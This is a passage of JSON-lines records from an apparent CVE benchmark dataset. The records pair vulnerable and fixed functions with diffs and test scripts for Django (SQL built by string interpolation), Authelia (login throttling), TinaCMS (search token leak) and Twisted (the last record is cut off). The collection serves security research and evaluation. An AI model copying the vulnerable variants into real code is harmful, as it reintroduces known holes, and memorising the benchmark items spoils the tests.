ArrayField(TextField())\n\n\n@HStoreField.register_lookup\nclass ValuesTransform(Transform):\n    lookup_name = 'values'"}], "vul_patch": "--- a/django/contrib/postgres/fields/hstore.py\n+++ b/django/contrib/postgres/fields/hstore.py\n@@ -1,3 +1,3 @@\n     def as_sql(self, compiler, connection):\n         lhs, params = compiler.compile(self.lhs)\n-        return \"(%s -> '%s')\" % (lhs, self.key_name), params\n+        return '(%s -> %%s)' % lhs, [self.key_name] + params\n\n--- a/django/contrib/postgres/fields/hstore.py\n+++ b/django/contrib/postgres/fields/hstore.py\n@@ -12,5 +12,3 @@\n @HStoreField.register_lookup\n class ValuesTransform(Transform):\n     lookup_name = 'values'\n-    function = 'avals'\n-    output_field = ArrayField(TextField())\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2025-24806", "cve_description": "Authelia is an open-source authentication and authorization server providing two-factor authentication and single sign-on (SSO) for applications via a web portal. If users are allowed to sign in via both username and email the regulation system treats these as separate login events. This leads to the regulation limitations being effectively doubled assuming an attacker using brute-force to find a user password. It's important to note that due to the effective operation of regulation where no user-facing sign of their regulation ban being visible either via timing or via API responses, it's effectively impossible to determine if a failure occurs due to a bad username password combination, or a effective ban blocking the attempt which heavily mitigates any form of brute-force. This occurs because the records and counting process for this system uses the method utilized for sign in rather than the effective username attribute. This has a minimal impact on account security, this impact is increased naturally in scenarios when there is no two-factor authentication required and weak passwords are used. This makes it a bit easier to brute-force a password. A patch for this issue has been applied to versions 4.38.19, and 4.39.0. Users are advised to upgrade. Users unable to upgrade should 1. Not heavily modify the default settings in a way that ends up with shorter or less frequent regulation bans. The default settings effectively mitigate any potential for this issue to be exploited. and 2. Disable the ability for users to login via an email address.", "cwe_info": {"CWE-307": {"name": "Improper Restriction of Excessive Authentication Attempts", "description": "The product does not implement sufficient measures to prevent multiple failed authentication attempts within a short time frame."}}, "repo": "https://github.com/authelia/authelia", "patch_url": ["https://github.com/authelia/authelia/commit/d4a54189aa6563912f9427b96dcb01eacafa785c"], "programing_language": "Go", "vul_func": [{"id": "vul_go_76_1", "commit": "37cb14fb898b675bd39bbe8776f8cdf54f8272f3", "file_path": "internal/handlers/handler_firstfactor.go", "start_line": 14, "end_line": 159, "snippet": "func FirstFactorPOST(delayFunc middlewares.TimingAttackDelayFunc) middlewares.RequestHandler {\n\treturn func(ctx *middlewares.AutheliaCtx) {\n\t\tvar successful bool\n\n\t\trequestTime := time.Now()\n\n\t\tif delayFunc != nil {\n\t\t\tdefer delayFunc(ctx, requestTime, &successful)\n\t\t}\n\n\t\tbodyJSON := bodyFirstFactorRequest{}\n\n\t\tif err := ctx.ParseBody(&bodyJSON); err != nil {\n\t\t\tctx.Logger.WithError(err).Errorf(logFmtErrParseRequestBody, regulation.AuthType1FA)\n\n\t\t\trespondUnauthorized(ctx, messageAuthenticationFailed)\n\n\t\t\treturn\n\t\t}\n\n\t\tif bannedUntil, err := ctx.Providers.Regulator.Regulate(ctx, bodyJSON.Username); err != nil {\n\t\t\tif errors.Is(err, regulation.ErrUserIsBanned) {\n\t\t\t\t_ = markAuthenticationAttempt(ctx, false, &bannedUntil, bodyJSON.Username, regulation.AuthType1FA, nil)\n\n\t\t\t\trespondUnauthorized(ctx, messageAuthenticationFailed)\n\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tctx.Logger.WithError(err).Errorf(logFmtErrRegulationFail, regulation.AuthType1FA, bodyJSON.Username)\n\n\t\t\trespondUnauthorized(ctx, messageAuthenticationFailed)\n\n\t\t\treturn\n\t\t}\n\n\t\tuserPasswordOk, err := ctx.Providers.UserProvider.CheckUserPassword(bodyJSON.Username, bodyJSON.Password)\n\t\tif err != nil {\n\t\t\t_ = markAuthenticationAttempt(ctx, false, nil, bodyJSON.Username, regulation.AuthType1FA, err)\n\n\t\t\trespondUnauthorized(ctx, messageAuthenticationFailed)\n\n\t\t\treturn\n\t\t}\n\n\t\tif !userPasswordOk {\n\t\t\t_ = markAuthenticationAttempt(ctx, false, nil, bodyJSON.Username, regulation.AuthType1FA, nil)\n\n\t\t\trespondUnauthorized(ctx, messageAuthenticationFailed)\n\n\t\t\treturn\n\t\t}\n\n\t\tif err = markAuthenticationAttempt(ctx, true, nil, bodyJSON.Username, regulation.AuthType1FA, nil); err != nil {\n\t\t\trespondUnauthorized(ctx, messageAuthenticationFailed)\n\n\t\t\treturn\n\t\t}\n\n\t\tprovider, err := ctx.GetSessionProvider()\n\t\tif err != nil {\n\t\t\tctx.Logger.WithError(err).Error(\"Failed to get session provider during 1FA attempt\")\n\n\t\t\trespondUnauthorized(ctx, messageAuthenticationFailed)\n\n\t\t\treturn\n\t\t}\n\n\t\tuserSession, err := provider.GetSession(ctx.RequestCtx)\n\t\tif err != nil {\n\t\t\tctx.Logger.Errorf(\"%s\", err)\n\n\t\t\trespondUnauthorized(ctx, messageAuthenticationFailed)\n\n\t\t\treturn\n\t\t}\n\n\t\tnewSession := provider.NewDefaultUserSession()\n\n\t\t// Reset all values from previous session except OIDC workflow before regenerating the cookie.\n\t\tif err = ctx.SaveSession(newSession); err != nil {\n\t\t\tctx.Logger.WithError(err).Errorf(logFmtErrSessionReset, regulation.AuthType1FA, bodyJSON.Username)\n\n\t\t\trespondUnauthorized(ctx, messageAuthenticationFailed)\n\n\t\t\treturn\n\t\t}\n\n\t\tif err = ctx.RegenerateSession(); err != nil {\n\t\t\tctx.Logger.WithError(err).Errorf(logFmtErrSessionRegenerate, regulation.AuthType1FA, bodyJSON.Username)\n\n\t\t\trespondUnauthorized(ctx, messageAuthenticationFailed)\n\n\t\t\treturn\n\t\t}\n\n\t\t// Check if bodyJSON.KeepMeLoggedIn can be deref'd and derive the value based on the configuration and JSON data.\n\t\tkeepMeLoggedIn := !provider.Config.DisableRememberMe && bodyJSON.KeepMeLoggedIn != nil && *bodyJSON.KeepMeLoggedIn\n\n\t\t// Set the cookie to expire if remember me is enabled and the user has asked us to.\n\t\tif keepMeLoggedIn {\n\t\t\terr = provider.UpdateExpiration(ctx.RequestCtx, provider.Config.RememberMe)\n\t\t\tif err != nil {\n\t\t\t\tctx.Logger.WithError(err).Errorf(logFmtErrSessionSave, \"updated expiration\", regulation.AuthType1FA, logFmtActionAuthentication, bodyJSON.Username)\n\n\t\t\t\trespondUnauthorized(ctx, messageAuthenticationFailed)\n\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\n\t\t// Get the details of the given user from the user provider.\n\t\tuserDetails, err := ctx.Providers.UserProvider.GetDetails(bodyJSON.Username)\n\t\tif err != nil {\n\t\t\tctx.Logger.WithError(err).Errorf(logFmtErrObtainProfileDetails, regulation.AuthType1FA, bodyJSON.Username)\n\n\t\t\trespondUnauthorized(ctx, messageAuthenticationFailed)\n\n\t\t\treturn\n\t\t}\n\n\t\tctx.Logger.Tracef(logFmtTraceProfileDetails, bodyJSON.Username, userDetails.Groups, userDetails.Emails)\n\n\t\tuserSession.SetOneFactor(ctx.Clock.Now(), userDetails, keepMeLoggedIn)\n\n\t\tif ctx.Configuration.AuthenticationBackend.RefreshInterval.Update() {\n\t\t\tuserSession.RefreshTTL = ctx.Clock.Now().Add(ctx.Configuration.AuthenticationBackend.RefreshInterval.Value())\n\t\t}\n\n\t\tif err = ctx.SaveSession(userSession); err != nil {\n\t\t\tctx.Logger.WithError(err).Errorf(logFmtErrSessionSave, \"updated profile\", regulation.AuthType1FA, logFmtActionAuthentication, bodyJSON.Username)\n\n\t\t\trespondUnauthorized(ctx, messageAuthenticationFailed)\n\n\t\t\treturn\n\t\t}\n\n\t\tsuccessful = true\n\n\t\tif bodyJSON.Workflow == workflowOpenIDConnect {\n\t\t\thandleOIDCWorkflowResponse(ctx, &userSession, bodyJSON.TargetURL, bodyJSON.WorkflowID)\n\t\t} else {\n\t\t\tHandle1FAResponse(ctx, bodyJSON.TargetURL, bodyJSON.RequestMethod, userSession.Username, userSession.Groups)\n\t\t}\n\t}\n}"}], "fix_func": [{"id": "fix_go_76_1", "commit": "d4a54189aa6563912f9427b96dcb01eacafa785c", "file_path": "internal/handlers/handler_firstfactor.go", "start_line": 15, "end_line": 163, "snippet": "func FirstFactorPOST(delayFunc middlewares.TimingAttackDelayFunc) middlewares.RequestHandler {\n\treturn func(ctx *middlewares.AutheliaCtx) {\n\t\tvar successful bool\n\n\t\trequestTime := time.Now()\n\n\t\tif delayFunc != nil {\n\t\t\tdefer delayFunc(ctx, requestTime, &successful)\n\t\t}\n\n\t\tbodyJSON := bodyFirstFactorRequest{}\n\n\t\tvar (\n\t\t\tdetails *authentication.UserDetails\n\t\t\terr     error\n\t\t)\n\n\t\tif err = ctx.ParseBody(&bodyJSON); err != nil {\n\t\t\tctx.Logger.WithError(err).Errorf(logFmtErrParseRequestBody, regulation.AuthType1FA)\n\n\t\t\trespondUnauthorized(ctx, messageAuthenticationFailed)\n\n\t\t\treturn\n\t\t}\n\n\t\tif details, err = ctx.Providers.UserProvider.GetDetails(bodyJSON.Username); err != nil || details == nil {\n\t\t\tctx.Logger.WithError(err).Errorf(\"Error occurred getting details for user with username input '%s' which usually indicates they do not exist\", bodyJSON.Username)\n\n\t\t\trespondUnauthorized(ctx, messageAuthenticationFailed)\n\n\t\t\treturn\n\t\t}\n\n\t\tif bannedUntil, err := ctx.Providers.Regulator.Regulate(ctx, details.Username); err != nil {\n\t\t\tif errors.Is(err, regulation.ErrUserIsBanned) {\n\t\t\t\t_ = markAuthenticationAttempt(ctx, false, &bannedUntil, details.Username, regulation.AuthType1FA, nil)\n\n\t\t\t\trespondUnauthorized(ctx, messageAuthenticationFailed)\n\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tctx.Logger.WithError(err).Errorf(logFmtErrRegulationFail, regulation.AuthType1FA, details.Username)\n\n\t\t\trespondUnauthorized(ctx, messageAuthenticationFailed)\n\n\t\t\treturn\n\t\t}\n\n\t\tuserPasswordOk, err := ctx.Providers.UserProvider.CheckUserPassword(details.Username, bodyJSON.Password)\n\t\tif err != nil {\n\t\t\t_ = markAuthenticationAttempt(ctx, false, nil, details.Username, regulation.AuthType1FA, err)\n\n\t\t\trespondUnauthorized(ctx, messageAuthenticationFailed)\n\n\t\t\treturn\n\t\t}\n\n\t\tif !userPasswordOk {\n\t\t\t_ = markAuthenticationAttempt(ctx, false, nil, details.Username, regulation.AuthType1FA, nil)\n\n\t\t\trespondUnauthorized(ctx, messageAuthenticationFailed)\n\n\t\t\treturn\n\t\t}\n\n\t\tif err = markAuthenticationAttempt(ctx, true, nil, details.Username, regulation.AuthType1FA, nil); err != nil {\n\t\t\trespondUnauthorized(ctx, messageAuthenticationFailed)\n\n\t\t\treturn\n\t\t}\n\n\t\tprovider, err := ctx.GetSessionProvider()\n\t\tif err != nil {\n\t\t\tctx.Logger.WithError(err).Error(\"Failed to get session provider during 1FA attempt\")\n\n\t\t\trespondUnauthorized(ctx, messageAuthenticationFailed)\n\n\t\t\treturn\n\t\t}\n\n\t\tuserSession, err := provider.GetSession(ctx.RequestCtx)\n\t\tif err != nil {\n\t\t\tctx.Logger.Errorf(\"%s\", err)\n\n\t\t\trespondUnauthorized(ctx, messageAuthenticationFailed)\n\n\t\t\treturn\n\t\t}\n\n\t\tnewSession := provider.NewDefaultUserSession()\n\n\t\t// Reset all values from previous session except OIDC workflow before regenerating the cookie.\n\t\tif err = ctx.SaveSession(newSession); err != nil {\n\t\t\tctx.Logger.WithError(err).Errorf(logFmtErrSessionReset, regulation.AuthType1FA, details.Username)\n\n\t\t\trespondUnauthorized(ctx, messageAuthenticationFailed)\n\n\t\t\treturn\n\t\t}\n\n\t\tif err = ctx.RegenerateSession(); err != nil {\n\t\t\tctx.Logger.WithError(err).Errorf(logFmtErrSessionRegenerate, regulation.AuthType1FA, details.Username)\n\n\t\t\trespondUnauthorized(ctx, messageAuthenticationFailed)\n\n\t\t\treturn\n\t\t}\n\n\t\t// Check if bodyJSON.KeepMeLoggedIn can be deref'd and derive the value based on the configuration and JSON data.\n\t\tkeepMeLoggedIn := !provider.Config.DisableRememberMe && bodyJSON.KeepMeLoggedIn != nil && *bodyJSON.KeepMeLoggedIn\n\n\t\t// Set the cookie to expire if remember me is enabled and the user has asked us to.\n\t\tif keepMeLoggedIn {\n\t\t\terr = provider.UpdateExpiration(ctx.RequestCtx, provider.Config.RememberMe)\n\t\t\tif err != nil {\n\t\t\t\tctx.Logger.WithError(err).Errorf(logFmtErrSessionSave, \"updated expiration\", regulation.AuthType1FA, logFmtActionAuthentication, details.Username)\n\n\t\t\t\trespondUnauthorized(ctx, messageAuthenticationFailed)\n\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\n\t\tctx.Logger.Tracef(logFmtTraceProfileDetails, details.Username, details.Groups, details.Emails)\n\n\t\tuserSession.SetOneFactor(ctx.Clock.Now(), details, keepMeLoggedIn)\n\n\t\tif ctx.Configuration.AuthenticationBackend.RefreshInterval.Update() {\n\t\t\tuserSession.RefreshTTL = ctx.Clock.Now().Add(ctx.Configuration.AuthenticationBackend.RefreshInterval.Value())\n\t\t}\n\n\t\tif err = ctx.SaveSession(userSession); err != nil {\n\t\t\tctx.Logger.WithError(err).Errorf(logFmtErrSessionSave, \"updated profile\", regulation.AuthType1FA, logFmtActionAuthentication, details.Username)\n\n\t\t\trespondUnauthorized(ctx, messageAuthenticationFailed)\n\n\t\t\treturn\n\t\t}\n\n\t\tsuccessful = true\n\n\t\tif bodyJSON.Workflow == workflowOpenIDConnect {\n\t\t\thandleOIDCWorkflowResponse(ctx, &userSession, bodyJSON.TargetURL, bodyJSON.WorkflowID)\n\t\t} else {\n\t\t\tHandle1FAResponse(ctx, bodyJSON.TargetURL, bodyJSON.RequestMethod, userSession.Username, userSession.Groups)\n\t\t}\n\t}\n}"}], "vul_patch": "--- a/internal/handlers/handler_firstfactor.go\n+++ b/internal/handlers/handler_firstfactor.go\n@@ -10,7 +10,12 @@\n \n \t\tbodyJSON := bodyFirstFactorRequest{}\n \n-\t\tif err := ctx.ParseBody(&bodyJSON); err != nil {\n+\t\tvar (\n+\t\t\tdetails *authentication.UserDetails\n+\t\t\terr     error\n+\t\t)\n+\n+\t\tif err = ctx.ParseBody(&bodyJSON); err != nil {\n \t\t\tctx.Logger.WithError(err).Errorf(logFmtErrParseRequestBody, regulation.AuthType1FA)\n \n \t\t\trespondUnauthorized(ctx, messageAuthenticationFailed)\n@@ -18,25 +23,33 @@\n \t\t\treturn\n \t\t}\n \n-\t\tif bannedUntil, err := ctx.Providers.Regulator.Regulate(ctx, bodyJSON.Username); err != nil {\n+\t\tif details, err = ctx.Providers.UserProvider.GetDetails(bodyJSON.Username); err != nil || details == nil {\n+\t\t\tctx.Logger.WithError(err).Errorf(\"Error occurred getting details for user with username input '%s' which usually indicates they do not exist\", bodyJSON.Username)\n+\n+\t\t\trespondUnauthorized(ctx, messageAuthenticationFailed)\n+\n+\t\t\treturn\n+\t\t}\n+\n+\t\tif bannedUntil, err := ctx.Providers.Regulator.Regulate(ctx, details.Username); err != nil {\n \t\t\tif errors.Is(err, regulation.ErrUserIsBanned) {\n-\t\t\t\t_ = markAuthenticationAttempt(ctx, false, &bannedUntil, bodyJSON.Username, regulation.AuthType1FA, nil)\n+\t\t\t\t_ = markAuthenticationAttempt(ctx, false, &bannedUntil, details.Username, regulation.AuthType1FA, nil)\n \n \t\t\t\trespondUnauthorized(ctx, messageAuthenticationFailed)\n \n \t\t\t\treturn\n \t\t\t}\n \n-\t\t\tctx.Logger.WithError(err).Errorf(logFmtErrRegulationFail, regulation.AuthType1FA, bodyJSON.Username)\n+\t\t\tctx.Logger.WithError(err).Errorf(logFmtErrRegulationFail, regulation.AuthType1FA, details.Username)\n \n \t\t\trespondUnauthorized(ctx, messageAuthenticationFailed)\n \n \t\t\treturn\n \t\t}\n \n-\t\tuserPasswordOk, err := ctx.Providers.UserProvider.CheckUserPassword(bodyJSON.Username, bodyJSON.Password)\n+\t\tuserPasswordOk, err := ctx.Providers.UserProvider.CheckUserPassword(details.Username, bodyJSON.Password)\n \t\tif err != nil {\n-\t\t\t_ = markAuthenticationAttempt(ctx, false, nil, bodyJSON.Username, regulation.AuthType1FA, err)\n+\t\t\t_ = markAuthenticationAttempt(ctx, false, nil, details.Username, regulation.AuthType1FA, err)\n \n \t\t\trespondUnauthorized(ctx, messageAuthenticationFailed)\n \n@@ -44,14 +57,14 @@\n \t\t}\n \n \t\tif !userPasswordOk {\n-\t\t\t_ = markAuthenticationAttempt(ctx, false, nil, bodyJSON.Username, regulation.AuthType1FA, nil)\n+\t\t\t_ = markAuthenticationAttempt(ctx, false, nil, details.Username, regulation.AuthType1FA, nil)\n \n \t\t\trespondUnauthorized(ctx, messageAuthenticationFailed)\n \n \t\t\treturn\n \t\t}\n \n-\t\tif err = markAuthenticationAttempt(ctx, true, nil, bodyJSON.Username, regulation.AuthType1FA, nil); err != nil {\n+\t\tif err = markAuthenticationAttempt(ctx, true, nil, details.Username, regulation.AuthType1FA, nil); err != nil {\n \t\t\trespondUnauthorized(ctx, messageAuthenticationFailed)\n \n \t\t\treturn\n@@ -79,7 +92,7 @@\n \n \t\t// Reset all values from previous session except OIDC workflow before regenerating the cookie.\n \t\tif err = ctx.SaveSession(newSession); err != nil {\n-\t\t\tctx.Logger.WithError(err).Errorf(logFmtErrSessionReset, regulation.AuthType1FA, bodyJSON.Username)\n+\t\t\tctx.Logger.WithError(err).Errorf(logFmtErrSessionReset, regulation.AuthType1FA, details.Username)\n \n \t\t\trespondUnauthorized(ctx, messageAuthenticationFailed)\n \n@@ -87,7 +100,7 @@\n \t\t}\n \n \t\tif err = ctx.RegenerateSession(); err != nil {\n-\t\t\tctx.Logger.WithError(err).Errorf(logFmtErrSessionRegenerate, regulation.AuthType1FA, bodyJSON.Username)\n+\t\t\tctx.Logger.WithError(err).Errorf(logFmtErrSessionRegenerate, regulation.AuthType1FA, details.Username)\n \n \t\t\trespondUnauthorized(ctx, messageAuthenticationFailed)\n \n@@ -101,7 +114,7 @@\n \t\tif keepMeLoggedIn {\n \t\t\terr = provider.UpdateExpiration(ctx.RequestCtx, provider.Config.RememberMe)\n \t\t\tif err != nil {\n-\t\t\t\tctx.Logger.WithError(err).Errorf(logFmtErrSessionSave, \"updated expiration\", regulation.AuthType1FA, logFmtActionAuthentication, bodyJSON.Username)\n+\t\t\t\tctx.Logger.WithError(err).Errorf(logFmtErrSessionSave, \"updated expiration\", regulation.AuthType1FA, logFmtActionAuthentication, details.Username)\n \n \t\t\t\trespondUnauthorized(ctx, messageAuthenticationFailed)\n \n@@ -109,26 +122,16 @@\n \t\t\t}\n \t\t}\n \n-\t\t// Get the details of the given user from the user provider.\n-\t\tuserDetails, err := ctx.Providers.UserProvider.GetDetails(bodyJSON.Username)\n-\t\tif err != nil {\n-\t\t\tctx.Logger.WithError(err).Errorf(logFmtErrObtainProfileDetails, regulation.AuthType1FA, bodyJSON.Username)\n+\t\tctx.Logger.Tracef(logFmtTraceProfileDetails, details.Username, details.Groups, details.Emails)\n \n-\t\t\trespondUnauthorized(ctx, messageAuthenticationFailed)\n-\n-\t\t\treturn\n-\t\t}\n-\n-\t\tctx.Logger.Tracef(logFmtTraceProfileDetails, bodyJSON.Username, userDetails.Groups, userDetails.Emails)\n-\n-\t\tuserSession.SetOneFactor(ctx.Clock.Now(), userDetails, keepMeLoggedIn)\n+\t\tuserSession.SetOneFactor(ctx.Clock.Now(), details, keepMeLoggedIn)\n \n \t\tif ctx.Configuration.AuthenticationBackend.RefreshInterval.Update() {\n \t\t\tuserSession.RefreshTTL = ctx.Clock.Now().Add(ctx.Configuration.AuthenticationBackend.RefreshInterval.Value())\n \t\t}\n \n \t\tif err = ctx.SaveSession(userSession); err != nil {\n-\t\t\tctx.Logger.WithError(err).Errorf(logFmtErrSessionSave, \"updated profile\", regulation.AuthType1FA, logFmtActionAuthentication, bodyJSON.Username)\n+\t\t\tctx.Logger.WithError(err).Errorf(logFmtErrSessionSave, \"updated profile\", regulation.AuthType1FA, logFmtActionAuthentication, details.Username)\n \n \t\t\trespondUnauthorized(ctx, messageAuthenticationFailed)\n \n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2025-24806:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/authelia\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\ncd internal/handlers && go test -timeout 30s -run ^TestFirstFactorSuite$ -testify.m ^TestShouldAuthenticateUserWithEmailAsUsernameInput$ github.com/authelia/authelia/v4/internal/handlers\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2025-24806:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/authelia\ngit apply --whitespace=nowarn /workspace/fix.patch /workspace/dep.patch\ncd internal/handlers && go test -timeout 30s -run '^TestFirstFactorSuite$'  github.com/authelia/authelia/v4/internal/handlers\n"}
{"cve_id": "CVE-2024-45391", "cve_description": "Tina is an open-source content management system (CMS). Sites building with Tina CMS's command line interface (CLI) prior to version 1.6.2 that use a search token may be vulnerable to the search token being leaked via lock file (tina-lock.json). Administrators of Tina-enabled websites with search setup should rotate their key immediately. This issue has been patched in @tinacms/cli version 1.6.2. Upgrading and rotating the search token is required for the proper fix.", "cwe_info": {"CWE-312": {"name": "Cleartext Storage of Sensitive Information", "description": "The product stores sensitive information in cleartext within a resource that might be accessible to another control sphere."}}, "repo": "https://github.com/tinacms/tinacms", "patch_url": ["https://github.com/tinacms/tinacms/commit/110f1ceea4574d636a64526648f7c8bf6539b26a"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_87_1", "commit": "daeeebf", "file_path": "packages/@tinacms/cli/src/next/codegen/index.ts", "start_line": "89", "end_line": "198", "snippet": "  async execute() {\n    // Update Config Files\n\n    // update _graphql.json\n    await this.writeConfigFile(\n      '_graphql.json',\n      JSON.stringify(this.graphqlSchemaDoc)\n    )\n    // update _schema.json\n    await this.writeConfigFile(\n      '_schema.json',\n      JSON.stringify(this.tinaSchema.schema)\n    )\n    // update _lookup.json\n    await this.writeConfigFile('_lookup.json', JSON.stringify(this.lookup))\n\n    const { apiURL, localUrl, tinaCloudUrl } = this._createApiUrl()\n    this.apiURL = apiURL\n    this.localUrl = localUrl\n    this.productionUrl = tinaCloudUrl\n\n    if (this.configManager.shouldSkipSDK()) {\n      await this.removeGeneratedFilesIfExists()\n      return apiURL\n    }\n    await fs.outputFile(\n      this.configManager.generatedQueriesFilePath,\n      this.queryDoc\n    )\n    await fs.outputFile(\n      this.configManager.generatedFragmentsFilePath,\n      this.fragDoc\n    )\n    await maybeWarnFragmentSize(this.configManager.generatedFragmentsFilePath)\n\n    const { clientString } = await this.genClient()\n    const databaseClientString = this.configManager.hasSelfHostedConfig()\n      ? await this.genDatabaseClient()\n      : ''\n    const { codeString, schemaString } = await this.genTypes()\n\n    await fs.outputFile(\n      this.configManager.generatedGraphQLGQLPath,\n      schemaString\n    )\n    if (this.configManager.isUsingTs()) {\n      await fs.outputFile(\n        this.configManager.generatedTypesTSFilePath,\n        codeString\n      )\n      await fs.outputFile(\n        this.configManager.generatedClientTSFilePath,\n        clientString\n      )\n      if (this.configManager.hasSelfHostedConfig()) {\n        await fs.outputFile(\n          this.configManager.generatedDatabaseClientTSFilePath,\n          databaseClientString\n        )\n      }\n      await unlinkIfExists(this.configManager.generatedClientJSFilePath)\n      await unlinkIfExists(this.configManager.generatedTypesDFilePath)\n      await unlinkIfExists(this.configManager.generatedTypesJSFilePath)\n    } else {\n      // Write out the generated types.\n      // write types.js and types.d.ts\n      await fs.outputFile(\n        this.configManager.generatedTypesDFilePath,\n        codeString\n      )\n      const jsTypes = await transform(codeString, { loader: 'ts' })\n      await fs.outputFile(\n        this.configManager.generatedTypesJSFilePath,\n        jsTypes.code\n      )\n      // Write out the generated client.\n      // write client.js and client.d.ts\n      await fs.outputFile(\n        this.configManager.generatedClientDFilePath,\n        clientString\n      )\n      const jsClient = await transform(clientString, { loader: 'ts' })\n      await fs.outputFile(\n        this.configManager.generatedClientJSFilePath,\n        jsClient.code\n      )\n      await unlinkIfExists(this.configManager.generatedTypesTSFilePath)\n      await unlinkIfExists(this.configManager.generatedClientTSFilePath)\n\n      if (this.configManager.hasSelfHostedConfig()) {\n        /// Write out the generated client\n        // write databaseClient.js and databaseClient.d.ts\n        const jsDatabaseClient = await transform(databaseClientString, {\n          loader: 'ts',\n        })\n        await fs.outputFile(\n          this.configManager.generatedDatabaseClientJSFilePath,\n          jsDatabaseClient.code\n        )\n        await fs.outputFile(\n          this.configManager.generatedDatabaseClientDFilePath,\n          databaseClientString\n        )\n        await unlinkIfExists(\n          this.configManager.generatedDatabaseClientTSFilePath\n        )\n      }\n    }\n    return apiURL\n  }"}], "fix_func": [{"id": "fix_js_87_1", "commit": "110f1ce", "file_path": "packages/@tinacms/cli/src/next/codegen/index.ts", "start_line": "89", "end_line": "202", "snippet": "  async execute() {\n    // Update Config Files\n\n    // update _graphql.json\n    await this.writeConfigFile(\n      '_graphql.json',\n      JSON.stringify(this.graphqlSchemaDoc)\n    )\n\n    const { search, ...rest } = this.tinaSchema.schema.config\n    this.tinaSchema.schema.config = rest\n\n    // update _schema.json\n    await this.writeConfigFile(\n      '_schema.json',\n      JSON.stringify(this.tinaSchema.schema)\n    )\n    // update _lookup.json\n    await this.writeConfigFile('_lookup.json', JSON.stringify(this.lookup))\n\n    const { apiURL, localUrl, tinaCloudUrl } = this._createApiUrl()\n    this.apiURL = apiURL\n    this.localUrl = localUrl\n    this.productionUrl = tinaCloudUrl\n\n    if (this.configManager.shouldSkipSDK()) {\n      await this.removeGeneratedFilesIfExists()\n      return apiURL\n    }\n    await fs.outputFile(\n      this.configManager.generatedQueriesFilePath,\n      this.queryDoc\n    )\n    await fs.outputFile(\n      this.configManager.generatedFragmentsFilePath,\n      this.fragDoc\n    )\n    await maybeWarnFragmentSize(this.configManager.generatedFragmentsFilePath)\n\n    const { clientString } = await this.genClient()\n    const databaseClientString = this.configManager.hasSelfHostedConfig()\n      ? await this.genDatabaseClient()\n      : ''\n    const { codeString, schemaString } = await this.genTypes()\n\n    await fs.outputFile(\n      this.configManager.generatedGraphQLGQLPath,\n      schemaString\n    )\n    if (this.configManager.isUsingTs()) {\n      await fs.outputFile(\n        this.configManager.generatedTypesTSFilePath,\n        codeString\n      )\n      await fs.outputFile(\n        this.configManager.generatedClientTSFilePath,\n        clientString\n      )\n      if (this.configManager.hasSelfHostedConfig()) {\n        await fs.outputFile(\n          this.configManager.generatedDatabaseClientTSFilePath,\n          databaseClientString\n        )\n      }\n      await unlinkIfExists(this.configManager.generatedClientJSFilePath)\n      await unlinkIfExists(this.configManager.generatedTypesDFilePath)\n      await unlinkIfExists(this.configManager.generatedTypesJSFilePath)\n    } else {\n      // Write out the generated types.\n      // write types.js and types.d.ts\n      await fs.outputFile(\n        this.configManager.generatedTypesDFilePath,\n        codeString\n      )\n      const jsTypes = await transform(codeString, { loader: 'ts' })\n      await fs.outputFile(\n        this.configManager.generatedTypesJSFilePath,\n        jsTypes.code\n      )\n      // Write out the generated client.\n      // write client.js and client.d.ts\n      await fs.outputFile(\n        this.configManager.generatedClientDFilePath,\n        clientString\n      )\n      const jsClient = await transform(clientString, { loader: 'ts' })\n      await fs.outputFile(\n        this.configManager.generatedClientJSFilePath,\n        jsClient.code\n      )\n      await unlinkIfExists(this.configManager.generatedTypesTSFilePath)\n      await unlinkIfExists(this.configManager.generatedClientTSFilePath)\n\n      if (this.configManager.hasSelfHostedConfig()) {\n        /// Write out the generated client\n        // write databaseClient.js and databaseClient.d.ts\n        const jsDatabaseClient = await transform(databaseClientString, {\n          loader: 'ts',\n        })\n        await fs.outputFile(\n          this.configManager.generatedDatabaseClientJSFilePath,\n          jsDatabaseClient.code\n        )\n        await fs.outputFile(\n          this.configManager.generatedDatabaseClientDFilePath,\n          databaseClientString\n        )\n        await unlinkIfExists(\n          this.configManager.generatedDatabaseClientTSFilePath\n        )\n      }\n    }\n    return apiURL\n  }"}], "vul_patch": "--- a/packages/@tinacms/cli/src/next/codegen/index.ts\n+++ b/packages/@tinacms/cli/src/next/codegen/index.ts\n@@ -6,6 +6,10 @@\n       '_graphql.json',\n       JSON.stringify(this.graphqlSchemaDoc)\n     )\n+\n+    const { search, ...rest } = this.tinaSchema.schema.config\n+    this.tinaSchema.schema.config = rest\n+\n     // update _schema.json\n     await this.writeConfigFile(\n       '_schema.json',\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-21712", "cve_description": "twisted is an event-driven networking engine written in Python. In affected versions twisted exposes cookies and authorization headers when following cross-origin redirects. This issue is present in the `twited.web.RedirectAgent` and `twisted.web. BrowserLikeRedirectAgent` functions. Users are advised to upgrade. There are no known workarounds.", "cwe_info": {"CWE-200": {"name": "Exposure of Sensitive Information to an Unauthorized Actor", "description": "The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information."}}, "repo": "https://github.com/twisted/twisted", "patch_url": ["https://github.com/twisted/twisted/commit/af8fe78542a6f2bf2235ccee8158d9c88d31e8e2"], "programing_language": "Python", "vul_func": [{"id": "vul_py_53_1", "commit": "7039a20", "file_path": "src/twisted/web/client.py", "start_line": 2144, "end_line": 2146, "snippet": "    def __init__(self, agent, redirectLimit=20):\n        self._agent = agent\n        self._redirectLimit = redirectLimit"}, {"id": "vul_py_53_2", "commit": "7039a20", "file_path": "src/twisted/web/client.py", "start_line": 2172, "end_line": 2189, "snippet": "    def _handleRedirect(self, response, method, uri, headers, redirectCount):\n        \"\"\"\n        Handle a redirect response, checking the number of redirects already\n        followed, and extracting the location header fields.\n        \"\"\"\n        if redirectCount >= self._redirectLimit:\n            err = error.InfiniteRedirection(\n                